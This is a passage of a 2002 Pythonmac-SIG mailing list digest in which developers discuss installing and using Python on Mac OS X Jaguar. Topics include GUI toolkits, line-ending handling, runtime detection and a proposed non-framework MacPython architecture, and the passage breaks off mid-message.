Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <p05200d06b9d5dcd8e2ed@[128.95.99.44]>
Message-ID: <96544AB2-E2BA-11D6-9594-003065F9C782@algarvistas.net>

Hey, Russell:   Found it, thanks - now i just have to figure out where 
to go from here.  You wrote:

> ...You may want to install your own version of Python. The one 
> provided by Apple has several problems:
> - No readlines support. Thus you cannot up-arrow to previous commands 
> or edit previous commands with left/right arrow. Personally, I find 
> this pretty unbearable.
> - No Tkinter support, thus no GUI stuff. Depending on what you want to 
> do, you may or may not care.

As a Mac guy since 1984, to whom the few commands you just threw at me 
are complete greek, the GUI stuff is critical for me.  But is Tkinter 
the only way to get GUI in Python?  I gather that some people are using 
PythonCard on Mac OS X, which uses wxPython Mac (instead of Tkinter, i 
presume), and  MachoPython (not the Fink distro, which i gather is 
problematic in in this context for some reason[s]).  Seeing as how the 
closest i ever came to programming was some rudimentary scripting in 
HyperCard many moons ago, this PythonCard project strikes a sympathetic 
chord with me.  Am i right in presuming that PythonCard, built as it is 
on the wxPython foundation, would offer essentially all the same GUI 
capabilities as Tkinter?  |/|/

> To install your own python (thus working around these issues) you have 
> several choices, including:
> - Build it from scratch. At the moment this is the only way I know to 
> get a working python 2.2.1 in Jaguar. One set of instructions are at 
> <http://www.astro.washington.edu/owen> (my site). There are a things 
> you have to twiddle that should not be required for future versions of 
> Python (2.2.2, 2.3, etc.).
>
> These instructions include building a Tkinter that requires xfree86 or 
> some similar X server (though it should be obvious what to leave out 
> if you don't want Tkinter). It's also possible to build a framework 
> version that works with the aqua version of Tcl/Tk, but I don't yet 
> know how to do it.
> - Wait for the fink version to be compatible with Jaguar

Hm... does this latter option offer near-term promise, i wonder?  If it 
circumvents a lot of complexity, maybe it's worth the wait if it's not 
too long...

|/|/alt



From zbir@urbanape.com  Fri Oct 18 17:57:24 2002
From: zbir@urbanape.com (Zachery Bir)
Date: Fri, 18 Oct 2002 12:57:24 -0400
Subject: [Pythonmac-SIG] making invisibles seen in "finder"
In-Reply-To: <OOPCBBAKMDIFBBAA@mailcity.com>
Message-ID: <ACA385C4-E2BA-11D6-863F-000393178DEC@urbanape.com>

On Friday, Oct 18, 2002, at 12:52 US/Eastern, kevin parks wrote:

>> Note that the /usr/... files cannot be seen
>> from Finder (at least by default), only from the unix prompt.
>
> Sorry for the non-python question here, but i wonder, on NeXTStep you 
> could click a little button to turn on what i think they called 
> "advanced" views or something so that you could see all your files, 
> even invisible ones, in the finder.

Would be nice to have this back.

> Is there a way to switch this on on OS X? I can't find it anywhere.... 
> I ask as it was brought up here.

No, but you can edit the .hidden file (in Terminal) to make those 
directories available (or hide others). Look in /.hidden

Zac



From walt@algarvistas.net  Fri Oct 18 18:32:53 2002
From: walt@algarvistas.net (Walt Ludwick)
Date: Fri, 18 Oct 2002 18:32:53 +0100
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <6D075442-E2B7-11D6-A593-000393877AE4@codefab.com>
Message-ID: <A1EAFC0A-E2BF-11D6-9594-003065F9C782@algarvistas.net>

Hey, Bill:  That's good info about "fixing" the Python that ships w/ 
Jaguar, and also about installing Fink.   I think i can see why you 
switched away from Fink to the Apple-supported version... but that puts 
my key question in a new light.  You wrote:

> ...The Fink version works just fine on Jaguar and has for quite some 
> time.  I had been using it up until recently (I switched to the OS X 
> installed version of Jaguar because I need to ship standalone apps 
> that use PyObjC and, as such, didn't want to risk an unnecessary 
> dependency on the Fink install -- with the readline and ssl support, 
> the Apple installed Python fits my needs *because I use Python/Cocoa 
> to do the GUI development*).

(my *emphasis*).  Does this mean that there's a GUI development option 
for Python - neither Tkinter nor wxPython / PythonCard - and it's in 
the Jaguar/ Developer Tools installation that i already have, which is 
supported by Apple?

See, the key question for me is:  "What's the best GUI environment for 
someone just beginning to learn programming in Python (the ideal 
programming language for beginners, i gather from reliable sources) on 
Mac OS X?"  Once i get my answer to that question (still open), then 
the question of how best to build Python in Jaguar, and/or how best to 
work with the Python contained therein, should answer itself - right?

|/|/alt
Walter Ludwick
wludwick@mac.com



From bbum@codefab.com  Fri Oct 18 18:55:44 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Fri, 18 Oct 2002 13:55:44 -0400
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <A1EAFC0A-E2BF-11D6-9594-003065F9C782@algarvistas.net>
Message-ID: <D2F888E5-E2C2-11D6-A593-000393877AE4@codefab.com>

On Friday, October 18, 2002, at 01:32 PM, Walt Ludwick wrote:
>> ...The Fink version works just fine on Jaguar and has for quite some 
>> time.  I had been using it up until recently (I switched to the OS X 
>> installed version of Jaguar because I need to ship standalone apps 
>> that use PyObjC and, as such, didn't want to risk an unnecessary 
>> dependency on the Fink install -- with the readline and ssl support, 
>> the Apple installed Python fits my needs *because I use Python/Cocoa 
>> to do the GUI development*).
>
> (my *emphasis*).  Does this mean that there's a GUI development option 
> for Python - neither Tkinter nor wxPython / PythonCard - and it's in 
> the Jaguar/ Developer Tools installation that i already have, which is 
> supported by Apple?

If you can live with platform specific [OS X only] code, then you can 
use MacPython [Carbon] or PyObjC [Cocoa] to do GUI development using 
Python on the platform.

It isn't supported by Apple, but both work really, really well.

>
> See, the key question for me is:  "What's the best GUI environment for 
> someone just beginning to learn programming in Python (the ideal 
> programming language for beginners, i gather from reliable sources) on 
> Mac OS X?"  Once i get my answer to that question (still open), then 
> the question of how best to build Python in Jaguar, and/or how best to 
> work with the Python contained therein, should answer itself - right?

If you want to learn python, learn python by itself first.  All of the 
GUI programming solutions for Python are additions on top of the 
language.   Build a solid knowledge of the language first, then worry 
about GUI programming later -- it'll go much more smoothly.

If you want to do GUI programming on OS X, I highly recommend going the 
Cocoa route.   Carbon is an awesomely powerful API, but it is extremely 
primitive by comparison [and by purpose -- it solves problems at a 
different granularity].

Like Python, Cocoa is heavily object oriented and, as such, a lot of 
the design patterns, etc, will translate between the two.

Once you have a basic understanding of Python and Cocoa, you can 
combine the two using PyObjC.   PyObjC provides a very light weight 
means of integrating Python and Cocoa....

Alternatively, you could go the Carbon route and use the Python 
bindings to Carbon.

b.bum



From bobsavage@mac.com  Fri Oct 18 19:11:04 2002
From: bobsavage@mac.com (Bob Savage)
Date: Fri, 18 Oct 2002 13:11:04 -0500
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <96544AB2-E2BA-11D6-9594-003065F9C782@algarvistas.net>
Message-ID: <F7A02E89-E2C4-11D6-AFDA-00306547CFF0@mac.com>

On Friday, October 18, 2002, at 11:56 AM, Walt Ludwick wrote:
>
> As a Mac guy since 1984, to whom the few commands you just threw at me 
> are complete greek, the GUI stuff is critical for me.

Do you really mean that creating your own GUI apps is critical for you 
right now? Or do you mean you don't want to mess with a non GUI 
development environment for Python. These are two different things. If 
you are just learning the language why mess with the GUI stuff at first 
when you are learning all of the other stuff? If you mean you want a 
GUI development environment, the standard install works just fine. 
There is a GUI app called "Terminal" that Apple provides in the 
/Applications/Utilities folder. Double click it. Now type "python" and 
hit enter. From here out this works just as the GUI Mac version of the 
Python Interpreter works.

The interpreter is crucial to do your initial experimenting, but 
eventually you are going to want to create longer programs with Python, 
so you should use something like BBEdit. There is a "lite" version you 
can get for free, but the full version includes Python syntax coloring 
and the ability to run the script you are typing. (I mention this 
because you might already own it). If you want a nice Mac Python GUI 
development environment you can also download the MacPython IDE.

My point is that you can start working with Python right away,  with 
out worrying about installing TK, etc.

Best of luck.

Bob



From dev@brotsky.com  Fri Oct 18 19:28:05 2002
From: dev@brotsky.com (Dan Brotsky)
Date: Fri, 18 Oct 2002 11:28:05 -0700
Subject: [Pythonmac-SIG] Compiler required?
In-Reply-To: <1E2BF034-E279-11D6-89ED-0030655234CE@cwi.nl>
Message-ID: <5828DC66-E2C7-11D6-9399-0003931036B4@brotsky.com>

Jack,

I just want to remind you of an issue that I always worry might get 
lost as MacPython development continues...

On Friday, October 18, 2002, at 02:08 AM, Jack Jansen wrote:
> But if you're not interested in OS9 then there's no reason not to 
> switch to the unix tools.

That's not quite true.  If your OS X app uses an existing Carbon-based 
plugin mechanism or UI framework (which many do :^), then you may need 
to run PythonMac-OS9 (Carbon) even if you only run on OS X.  It can 
take a while to port all those wonderful Carbon plugins you call from 
Python, or that cherished UI framework your Python is embedded in, and 
in many cases that may not be at the python developer's discretion.  
Until Apple releases their easy-to-use trampolining in both directions, 
many of us will be using PythonMac-OS9 on OS X.

     dan



From stephenm@humongous.com  Fri Oct 18 20:05:05 2002
From: stephenm@humongous.com (Magladry, Stephen)
Date: Fri, 18 Oct 2002 12:05:05 -0700
Subject: [Pythonmac-SIG] one fallout of cr/lf code
Message-ID: <151590CD351823429A7EBA135BEEAD5801ADE863@sea-horse.humongous.com>

It is nice to be able to run PC Python code unchanged thanks to the code
change made to handle cr/lf within the Mac Python code. I have run into one
problem through. The cr/lf is view as two separate lines.  The following
code,


--test.py from a pc----
import sys <cr><lf>
sys.blah<cr><lf>
--test.py from a pc----


returns the following error:

File "test.py", line 3 in ?
AttributeError: 'module' object has no attribute 'blah'


Okay I can deal with doubling of the line number, that's not much of a
problem. The real problem is with line continuations.



--test2.py  from a pc----
x = x\ <cr><lf>
	+1<cr><lf>
--test2.py from a pc----



This code is not able to execute. The line continuation "works" on the <lf>.
The <cr> is seen as a new line. Now without a continuation, Mac Python isn't
able to correctly process it. I can "fix" my problems my doing the
following.


--fixedTest2.py  from a pc----
x = (x <cr><lf>
	+1)<cr><lf>
--fixedTest2.py from a pc----


 Since an expression gets started with the "(", line continuation come for
free. This is fine and dandy for cross platform code that I own and work
with. It might be more of a problem with Python code one would get from some
PC user, though.


Don't know if we can do anything about this. If not, consider this as a FYI
for those people working in a cross platform environment.


Sincerely,


Stephen Magladry


From zbir@urbanape.com  Fri Oct 18 20:16:12 2002
From: zbir@urbanape.com (Zachery Bir)
Date: Fri, 18 Oct 2002 15:16:12 -0400
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <D2F888E5-E2C2-11D6-A593-000393877AE4@codefab.com>
Message-ID: <10CADA05-E2CE-11D6-863F-000393178DEC@urbanape.com>

On Friday, Oct 18, 2002, at 13:55 US/Eastern, Bill Bumgarner wrote:

> Once you have a basic understanding of Python and Cocoa, you can 
> combine the two using PyObjC.   PyObjC provides a very light weight 
> means of integrating Python and Cocoa....

Are there docs or tutorials for this around? I'm pretty comfortable in 
Python, and I have had some slight exposure to the Cocoa frameworks, 
but since I make my bread and butter with Python, I'd rather use it 
than ObjC (just yet).

This has sort of been my Holy Grail for a while now. I mean, even those 
Ruby upstarts have Cocoa bindings :)

Zac



From stephenm@humongous.com  Fri Oct 18 20:22:48 2002
From: stephenm@humongous.com (Magladry, Stephen)
Date: Fri, 18 Oct 2002 12:22:48 -0700
Subject: [Pythonmac-SIG] way to tell what platform python code executing on?
Message-ID: <151590CD351823429A7EBA135BEEAD5801ADE864@sea-horse.humongous.com>

I have a Python utility file that need to be run both under Mach-o Python
and Mac Python. This file processes files from a directory. So I currently
have a gross hack


carbon = 1
if carbon : #Mac
	dir = "Mac OS X:Applications:Python 2.2.1"
else: #Mach-o
	dir = "/Applications/Python 2.2.1"


The rest of the code has no further Mac/Mach-o dependencies. 

I then need to edit the file depending on what way I need to execute the
code.

Is there some way to "know" what type of Python I am running so I don't need
to edit the file each time I need to switch or maybe some other "cross
platform" method to accomplish this?


Thanks,


Stephen Magladry 


From bbum@codefab.com  Fri Oct 18 20:23:22 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Fri, 18 Oct 2002 15:23:22 -0400
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <10CADA05-E2CE-11D6-863F-000393178DEC@urbanape.com>
Message-ID: <10C10366-E2CF-11D6-A593-000393877AE4@codefab.com>

On Friday, October 18, 2002, at 03:16 PM, Zachery Bir wrote:
> On Friday, Oct 18, 2002, at 13:55 US/Eastern, Bill Bumgarner wrote:
>
>> Once you have a basic understanding of Python and Cocoa, you can 
>> combine the two using PyObjC.   PyObjC provides a very light weight 
>> means of integrating Python and Cocoa....
>
> Are there docs or tutorials for this around? I'm pretty comfortable in 
> Python, and I have had some slight exposure to the Cocoa frameworks, 
> but since I make my bread and butter with Python, I'd rather use it 
> than ObjC (just yet).

Learn Obj-C.  If you know C, ObjC is trivial -- especially with a 
strong Python background.   Almost all of your effort in learning Cocoa 
will be centered around learning the APIs -- something you will have to 
do regardless of whether you are using Python, Java or Objective-C to 
program against said APIs.

So, instead of adding yet-another-layer-of-changes on top of the APIs, 
learn the native APIs in their native form.   It will be faster and 
easier to do.

Once you have a solid foundation of Cocoa knowledge, throw PyObjC into 
the mix and code away in Python.

> This has sort of been my Holy Grail for a while now. I mean, even 
> those Ruby upstarts have Cocoa bindings :)

Heck -- the PyObjC bridge has existed for longer than the entire 
history of Ruby....   Some of us wrote NeXTSTEP/OpenStep [Cocoa 
predecessors] apps using PyObjC in 1996/1997.

b.bum



From ryanwilcox@mac.com  Fri Oct 18 20:36:31 2002
From: ryanwilcox@mac.com (Ryan Wilcox)
Date: Fri, 18 Oct 2002 15:36:31 -0400
Subject: [Pythonmac-SIG] way to tell what platform python code executing on?
In-Reply-To: <151590CD351823429A7EBA135BEEAD5801ADE864@sea-horse.humongous.com>
Message-ID: <r01050400-1021-E7C95174E2D011D699B900039310A782@[129.21.42.33]>

On Friday, October 18, 2002, at 12:22 PM, Magladry, Stephen wrote:

>I have a Python utility file that need to be run both under Mach-o
>Python and Mac Python. 
...

>Is there some way to "know" what type of Python I am running so I
>don't need to edit the file each time I need to switch or maybe some
>other "cross platform" method to accomplish this?

I just use something like:

if not sys.argv[1]:
	#no parameters passed via the command line -- it mus be MacPython
	#at least I think.
	
	#insert your code here
	
else:
	#we're on a mac
	
	#insert your code here
	
---------------------------------------------------------------------
However, I'm not sure how this will hold up with some of the "new"
developments, especially in the area of drag-and-drop-on-a-python-app. 

For those in the know: Is this a valid test, or would it fail - like
in the situation above?

HTH,
-Ryan Wilcox
-----------------------
PGP KEY ID: 0x2F4E9C31
-----------------------


From owen@astro.washington.edu  Fri Oct 18 20:58:34 2002
From: owen@astro.washington.edu (Russell E Owen)
Date: Fri, 18 Oct 2002 12:58:34 -0700
Subject: [Pythonmac-SIG] Re: Pythonmac-SIG digest, Vol 1 #1245 - 13 msgs
In-Reply-To: <20021018193629.24685.34995.Mailman@mail.python.org>
References: <20021018193629.24685.34995.Mailman@mail.python.org>
Message-ID: <p05200d0fb9d616dd7c07@[128.95.99.44]>

>>- Wait for the fink version to be compatible with Jaguar
>
>The Fink version works just fine on Jaguar and has for quite some 
>time.  I had been using it up until recently (I switched to the OS X 
>installed version of Jaguar because I need to ship standalone apps 
>that use PyObjC and, as such, didn't want to risk an unnecessary 
>dependency on the Fink install -- with the readline and ssl support, 
>the Apple installed Python fits my needs because I use Python/Cocoa 
>to do the GUI development).
>
>To update an existing Fink installation to 10.2:
>
>     http://fink.sourceforge.net/news/jaguar.php
>
>To do a fresh install of Fink on Jaguar:
>
>     http://fink.sourceforge.net/news/jag-bootstrap.php

I guess I should have been more specific. The fink binaries are not 
yet compatible with 10.2, nor are most of the source files in the 
"stable" release tree (which is where the well-debugged stuff 
belongs). You can try building stuff from the "unstable" tree if you 
want 10.2; it's a bit riskier but the documents at the links above 
suggest that much of it works.

Personally, I prefer to wait for the fink binaries and meanwhile 
build stuff myself, hence the instructions I provided. Actually, my 
real goal is building a release Python with aqua Tkinter, and I have 
no idea if fink will support this or if I'll have to build it 
manually. My impression is it's a bit tricky to do this in Python 
2.2.1 (certainly my attempts failed miserably) but that it will work 
well in Python 2.2.2 and 2.3.

Regarding GUIs on Python, I agree with others who wrote that you 
should not start there. It's not the prettiest side of Python (by a 
long shot), and you can do a lot of very useful stuff (including 
presumably all Zope stuff, which the original poster was keen on) 
without it.

-- Russell


From Jack.Jansen@oratrix.com  Fri Oct 18 21:06:14 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 18 Oct 2002 22:06:14 +0200
Subject: [Pythonmac-SIG] Compiler required?
In-Reply-To: <5828DC66-E2C7-11D6-9399-0003931036B4@brotsky.com>
Message-ID: <0E24E4CB-E2D5-11D6-9640-000A27B19B96@oratrix.com>

On vrijdag, okt 18, 2002, at 20:28 Europe/Amsterdam, Dan Brotsky wrote:

>> But if you're not interested in OS9 then there's no reason not to 
>> switch to the unix tools.
>
> That's not quite true.  If your OS X app uses an existing Carbon-based 
> plugin mechanism or UI framework (which many do :^), then you may need 
> to run PythonMac-OS9 (Carbon) even if you only run on OS X.  It can 
> take a while to port all those wonderful Carbon plugins you call from 
> Python, or that cherished UI framework your Python is embedded in, and 
> in many cases that may not be at the python developer's discretion.  
> Until Apple releases their easy-to-use trampolining in both 
> directions, many of us will be using PythonMac-OS9 on OS X.

You're right, and I do indeed tend to forget that from time to time.

I've more or less committed myself to do a MacPython-OS9 release of 
2.3, and I'll try to keep that promise. But I promised that when the 
timeframe for 2.3 was "fall 2002", and now it seems it's going to be 
"spring 2003" or later. At some point I'm going to have to drop it, 
even if only because my CW7 stops working and I don't want to spend 
money on CW8.

And of course I'd always be perfectly happy to hand over responsibility 
for MacPython-OS9 to someone else:-)
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From owen@astro.washington.edu  Fri Oct 18 21:07:09 2002
From: owen@astro.washington.edu (Russell E Owen)
Date: Fri, 18 Oct 2002 13:07:09 -0700
Subject: [Pythonmac-SIG] Using MachoPython with MySQL and Apache
Message-ID: <p05200d10b9d6186cd992@[128.95.99.44]>

I'm trying to switch from serving databases on MacOS 9 with FileMaker 
Pro to serving via MySQL on MacOS X (partly as a useful skill and 
partly because I'm pissed at the FileMaker folks for intentionally 
crippling their server in the affordable version). I was wondering if 
there are any recommendations or gotchas. I've got apache, MySQL, 
myPHPAdmin and PHP all running, but I'd much rather use Python than 
PHP if possible!

I have two needs:
- Get data from text files (it's a database of measurement data, and 
I receive the data in text files) into my database. Python looks like 
a clear winner for that, if the Python/MySQL interface is in good 
shape (there's a note on sourceforge that claims it builds on MacOS 
X, but I've not yet tried it).
- Serve data from the database. I like the way PHP integrates with 
apache without the need for CGIs and was wondering if something like 
that exists for Python?
- Should I be using ZOPE instead of apache and MySQL?

All opinions and advice most welcome.

-- Russell


From Jack.Jansen@oratrix.com  Fri Oct 18 21:11:20 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 18 Oct 2002 22:11:20 +0200
Subject: [Pythonmac-SIG] way to tell what platform python code executing on?
In-Reply-To: <151590CD351823429A7EBA135BEEAD5801ADE864@sea-horse.humongous.com>
Message-ID: <C45F8601-E2D5-11D6-9640-000A27B19B96@oratrix.com>

On vrijdag, okt 18, 2002, at 21:22 Europe/Amsterdam, Magladry, Stephen 
wrote:

> I have a Python utility file that need to be run both under Mach-o 
> Python
> and Mac Python. This file processes files from a directory. So I 
> currently
> have a gross hack
>
>
> carbon = 1
> if carbon : #Mac
> 	dir = "Mac OS X:Applications:Python 2.2.1"
> else: #Mach-o
> 	dir = "/Applications/Python 2.2.1"

You want MacOS.runtimemodel. The values can be "classic" (non-Carbon 
OS9 MacPython), "carbon" (OS9 or OSX Carbon MacPython) or "macho" (OSX 
unix-Python).

And if you can't import the MacOS module then you're not on a Mac:-)
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From Jack.Jansen@oratrix.com  Fri Oct 18 21:20:13 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 18 Oct 2002 22:20:13 +0200
Subject: [Pythonmac-SIG] one fallout of cr/lf code
In-Reply-To: <151590CD351823429A7EBA135BEEAD5801ADE863@sea-horse.humongous.com>
Message-ID: <02612433-E2D7-11D6-9640-000A27B19B96@oratrix.com>

On vrijdag, okt 18, 2002, at 21:05 Europe/Amsterdam, Magladry, Stephen 
wrote:

> It is nice to be able to run PC Python code unchanged thanks to the 
> code
> change made to handle cr/lf within the Mac Python code. I have run 
> into one
> problem through. The cr/lf is view as two separate lines.  The 
> following
> code,
>
>
> --test.py from a pc----
> import sys <cr><lf>
> sys.blah<cr><lf>
> --test.py from a pc----
>
>
> returns the following error:
>
> File "test.py", line 3 in ?
> AttributeError: 'module' object has no attribute 'blah'

If you are talking about MacPython 2.2.X here: it definitely does *not* 
support Windows newlines. It supports Mac and Unix newlines, but that's 
all. True universal newlines support is available (and not only in 
MacPython: it's there on any platform) if you build Python 2.3a0 from 
the CVS sources.

Sorry,
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From walt@algarvistas.net  Fri Oct 18 21:32:21 2002
From: walt@algarvistas.net (Walt Ludwick)
Date: Fri, 18 Oct 2002 21:32:21 +0100
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <F7A02E89-E2C4-11D6-AFDA-00306547CFF0@mac.com>
Message-ID: <B3D92110-E2D8-11D6-9594-003065F9C782@algarvistas.net>

Hey, Bob:  I guess you've hit the nail on the head, in that i was 
failing to distinguish between wanting to *use* a GUI (to insulate me 
from the horrors of the command line - a wish that is fundamentally 
inconsistent w/ my desire to learn the Python language, i now realize), 
and the idea of *creating* GUI for whatever Python code i might 
produce.  But since my ultimate aim is to create Python objects for 
integration not into desktop apps, but rather into Zope-based web apps, 
i guess i really have no need of Tkinter or wxPython or Cocoa or any 
such stuff at this point.

PS:   I'm talking to Jaguar's Python interpreter now via Terminal 
application, working my way thru the examples in this excellent 
beginners' book at http://www.ibiblio.org/obp/thinkCSpy/.   So far so 
good.  And i do have BBEdit (emacs too) when it comes time for writing 
longer programs.  I do wonder how anyone can work with large 
hierarchies of nested objects, absent some sort of graphical IDE... but 
we'll cross that bridge when we come to it.  Thanks for your support, 
folks.

|/|/alt

On Friday, October 18, 2002, at 07:11 PM, Bob Savage wrote:

> ...
> Do you really mean that creating your own GUI apps is critical for you 
> right now? Or do you mean you don't want to mess with a non GUI 
> development environment for Python. These are two different things. If 
> you are just learning the language why mess with the GUI stuff at 
> first when you are learning all of the other stuff? If you mean you 
> want a GUI development environment, the standard install works just 
> fine. There is a GUI app called "Terminal" that Apple provides in the 
> /Applications/Utilities folder. Double click it. Now type "python" and 
> hit enter. From here out this works just as the GUI Mac version of the 
> Python Interpreter works.
>
> The interpreter is crucial to do your initial experimenting, but 
> eventually you are going to want to create longer programs with 
> Python, so you should use something like BBEdit. There is a "lite" 
> version you can get for free, but the full version includes Python 
> syntax coloring and the ability to run the script you are typing. (I 
> mention this because you might already own it). If you want a nice Mac 
> Python GUI development environment you can also download the MacPython 
> IDE.
>
> My point is that you can start working with Python right away,  with 
> out worrying about installing TK, etc.
>
> Best of luck.
>
> Bob
>
>
>



From niel_mayhew@mac.com  Fri Oct 18 21:46:17 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Fri, 18 Oct 2002 14:46:17 -0600
Subject: [Pythonmac-SIG] Python in Jaguar is where?
In-Reply-To: <B3D92110-E2D8-11D6-9594-003065F9C782@algarvistas.net>
Message-ID: <B9D5CF39.6E11%niel_mayhew@mac.com>

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3117797177_41069797
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Walt,

I'd like to put in a plug for MacPython here. I think it is superior to the
BBEdit approach because its PythonIDE has an integrated debugger/object
inspector, and also because there is a tight coupling between the editor and
the compiler. For example, if you have a syntax error in your source code,
the editor will highlight the relevant line. There is a separate output
window for displaying the results of print statements, and also a live
interpreter window should you need it. I think this will all make it much
easier for a beginner like yourself.

Unfortunately, there is a bug in the current version of MacPython that
causes it to work inconsistently on Jaguar (although I've had very few
problems when running the IDE). Jack has identified and fixed the problem,
and says a new release will be coming out very soon.

You can reach the MacPython home page from python.org.

--Neil

Neil Mayhew
Calgary, Alberta, Canada

(Email address deliberately misspelled to foil spammers)


--B_3117797177_41069797
Content-type: text/html; charset="US-ASCII"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Re: [Pythonmac-SIG] Python in Jaguar is where?</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Arial">Walt,<BR>
<BR>
I'd like to put in a plug for MacPython here. I think it is superior to the=
 BBEdit approach because its PythonIDE has an integrated debugger/object ins=
pector, and also because there is a tight coupling between the editor and th=
e compiler. For example, if you have a syntax error in your source code, the=
 editor will highlight the relevant line. There is a separate output window =
for displaying the results of print statements, and also a live interpreter =
window should you need it. I think this will all make it much easier for a b=
eginner like yourself.<BR>
<BR>
Unfortunately, there is a bug in the current version of MacPython that caus=
es it to work inconsistently on Jaguar (although I've had very few problems =
when running the IDE). Jack has identified and fixed the problem, and says a=
 new release will be coming out very soon.<BR>
<BR>
You can reach the MacPython home page from python.org.<BR>
<BR>
--Neil<BR>
<BR>
Neil Mayhew<BR>
Calgary, Alberta, Canada<BR>
<BR>
(Email address deliberately misspelled to foil spammers)<BR>
</FONT>
</BODY>
</HTML>


--B_3117797177_41069797--



From Jack.Jansen@oratrix.com  Fri Oct 18 22:09:58 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 18 Oct 2002 23:09:58 +0200
Subject: [Pythonmac-SIG] Let's do it completely different!
Message-ID: <F591DB0C-E2DD-11D6-9640-000A27B19B96@oratrix.com>

Hello folks,
after arguing myself blue in the face for the last year and finally 
convincing the majority here that Frameworks Are A Good Thing I feel 
the time has come to reverse my position. Or, at least, I'm not as 
convinced as I was. And I think I can see advantages with going 
non-framework. Or at least keeping both options open. I don't know, 
just read on and comment, please.

The framework option has the following advantages:
1. Easy installation and de-installation, everything lives in 
/Library/Frameworks/Python.framework or /Applications/Python.
2. Allows us to do applets (such as the IDE) without duplicating big 
binaries.
3. Allows us to do "pythonw" and "PythonLauncher": running Python 
scripts with a GUI that appear normally in the dock, etc.
4. Allows us to share a single Python engine between Python and all 
embedders of Python (such as the Python OSA component).

I think we can do an architecture without frameworks that will allow us 
to do all of these except 4.

To start we build on the existing Apple-installed /usr/bin/python (or 
any other pre-installed Python, from fink or whereever). So, our 
MacPython-OSX installer does not necessarily include Python itself. 
This gives two immediate advantages: we can stuff everything into 
/Applications/Python (making installation and de-installation even 
easier) and we can do a MacPython-OSX distribution without waiting for 
Python 2.3. This would give people like Walt a decent way to explore 
Python through the IDE, without having to learn about the unix command 
line.

Applets we do with a two-stage approach. First, each applet will have a 
symlink Contents/MacOS/python pointing to /usr/bin/python. Second, the 
main binary of the applet .app bundle (CFBundleExecutable) will be 
Contents/MacOS/runapplet. This is a small program that finds the applet 
file and calls ..../Contents/MacOS/Python with the applet code as 
argv[1]. The rest of appletrunners args are also passed through. This 
is the bit that needs to be tested, but I think that if we do things 
this way the final executable will have an argv[0] that points into the 
.app bundle, and thereby the window services initialization code will 
work.

"pythonw" is now easy: we can just use the Contents/MacOS/python from 
any applet. We could use the PythonIDE, but as that would give every 
running Python GUI script the IDE icon in the dock it may be nicer to 
put an empty applet PythonW.app into 
/Applications/Python/PythonIDE.app/Contents/Resources.

PythonLauncher basically doesn't change.

A last issue is where we put our nifty Mac modules (that are now in 
Mac/Lib inside the framework, plus _waste.so and anything else that we 
need and that's missing from the 2.2 that Apple distributes). One 
option would be to install them into 
/usr/lib/python2.2/Lib/site-packages. A possibly nicer option would be 
to also put them somewhere in Contents/Resources of the IDE, and put a 
MacPython.pth file into site-packages.

Fire away folks,
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From zbir@urbanape.com  Fri Oct 18 22:12:05 2002
From: zbir@urbanape.com (Zachery Bir)
Date: Fri, 18 Oct 2002 17:12:05 -0400
Subject: [Pythonmac-SIG] Using MachoPython with MySQL and Apache
In-Reply-To: <p05200d10b9d6186cd992@[128.95.99.44]>
Message-ID: <413BBE2C-E2DE-11D6-863F-000393178DEC@urbanape.com>

On Friday, Oct 18, 2002, at 16:07 US/Eastern, Russell E Owen wrote:

> I'm trying to switch from serving databases on MacOS 9 with FileMaker 
> Pro to serving via MySQL on MacOS X (partly as a useful skill and 
> partly because I'm pissed at the FileMaker folks for intentionally 
> crippling their server in the affordable version). I was wondering if 
> there are any recommendations or gotchas. I've got apache, MySQL, 
> myPHPAdmin and PHP all running, but I'd much rather use Python than 
> PHP if possible!

Postgres, Postgres, Postgres...

> I have two needs:
> - Get data from text files (it's a database of measurement data, and I 
> receive the data in text files) into my database. Python looks like a 
> clear winner for that, if the Python/MySQL interface is in good shape 
> (there's a note on sourceforge that claims it builds on MacOS X, but 
> I've not yet tried it).
> - Serve data from the database. I like the way PHP integrates with 
> apache without the need for CGIs and was wondering if something like 
> that exists for Python?
> - Should I be using ZOPE instead of apache and MySQL?

Yes. (but I'm biased, I work there)

> All opinions and advice most welcome.

Zope + Postgres + (Z)PsycoPG(DA)

Zac



From niel_mayhew@mac.com  Fri Oct 18 22:13:43 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Fri, 18 Oct 2002 15:13:43 -0600
Subject: [Pythonmac-SIG] way to tell what platform python code
 executing on?
In-Reply-To: <151590CD351823429A7EBA135BEEAD5801ADE864@sea-horse.humongous.com>
Message-ID: <B9D5D5A7.6E18%niel_mayhew@mac.com>

on 18/10/2002 1:22 PM, Magladry, Stephen wrote:

> carbon = 1
> if carbon : #Mac
>   dir = "Mac OS X:Applications:Python 2.2.1"
> else: #Mach-o
>   dir = "/Applications/Python 2.2.1"
> 
Other ways to handle this:

